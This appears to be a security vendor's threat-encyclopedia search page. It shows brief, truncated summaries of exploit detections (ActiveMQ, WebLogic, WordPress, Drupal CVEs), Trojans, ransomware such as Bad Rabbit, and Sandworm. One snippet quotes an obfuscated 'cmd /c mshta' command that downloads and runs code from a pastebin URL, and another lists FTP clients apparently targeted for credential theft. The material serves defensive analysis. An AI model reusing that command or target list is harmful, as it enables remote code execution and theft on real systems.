Search

Description Name: CVE-2016-3088 ACTIVEMQ - HTTP (Request) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for N/A.The host exhibiting this type of network behavior is likely compromised by m...

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It does not have any backdoor routine. It does not have

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It takes advantage of certain vulnerabilities. Arrival

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. Arrival Details This Trojan arrives on a system as a

“Sandworm” October 2014 Patch Tuesday Fixes Sandworm Vulnerability MS Zero-Day Used in Attacks Against European Sectors, Industries Sandworm to Blacken: The SCADA Connection Downloaded from the Internet

Description Name: CVE-2017-10271 - Oracle Weblogic Exploit - HTTP (Request) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for Point of Entry.The host exhibiting this type of network behavi...

Description Name: CVE-2018-8653 MSIE Remote Code Execution - HTTP (Response) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this t...

Description Name: CVE-2019-8942 WordPress Image Remote Code Execution Exploit - HTTP (Request) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for N/A.The host exhibiting this type of networ...

_locales\it\messages.json _locales\ja\messages.json _locales\ko\messages.json _locales\ms\messages.json _locales\nl\messages.json _locales\no\messages.json _locales\pl\messages.json _locales\pt\messages.json

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It connects to certain websites to send and receive

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It connects to certain websites to send and receive

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It redirects browsers to certain sites. However, as of this writing, the said sites are

Description Name: CVE-2018-7602 - Remote Code Execution - HTTP (Request) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for Point of Entry or Lateral Movement.The host exhibiting this type ...

Description Name: CVE-2019-0547 Client Remote Code Execution Exploit - DHCP (Response) . This is Trend Micro detection for DHCP network protocol that manifests exploit activities and can be used for N/A.The host exhibiting this type of network behavi...

Description Name: CVE-2017-0171 - Denial of Service - DNS (Response) . This is Trend Micro detection for HTTP network protocol that manifests exploit activities and can be used for N/A.The host exhibiting this type of network behavior is likely compr...

downloaded unknowingly by users when visiting malicious sites. Installation This Exploit adds the following processes: cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/KaRJhyiv %System%\WindowsPowerShell\v1.0

This Trojan modifies the Internet Explorer Zone Settings. It connects to certain websites to send and receive information. Arrival Details This Trojan may be downloaded from the following remote

This ransomware, also known as Bad Rabbit, reportedly spread to networks of some high profile companies located in Ukraine and Russia. It spreads via network shares. It also modifies the Master Boot

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It encrypts files with specific file extensions.

GlobalSCAPE CuteFTP Pro GoFTP INSoftware NovaFTP Ipswitch WS_FTP LeapWare LeapFTP LeechFTP LinasFTP MAS-Soft FTPInfo MS IE FTP Martin Prikryl My FTP NCH Software ClassicFTP NCH Software Fling NetDrive NetSarang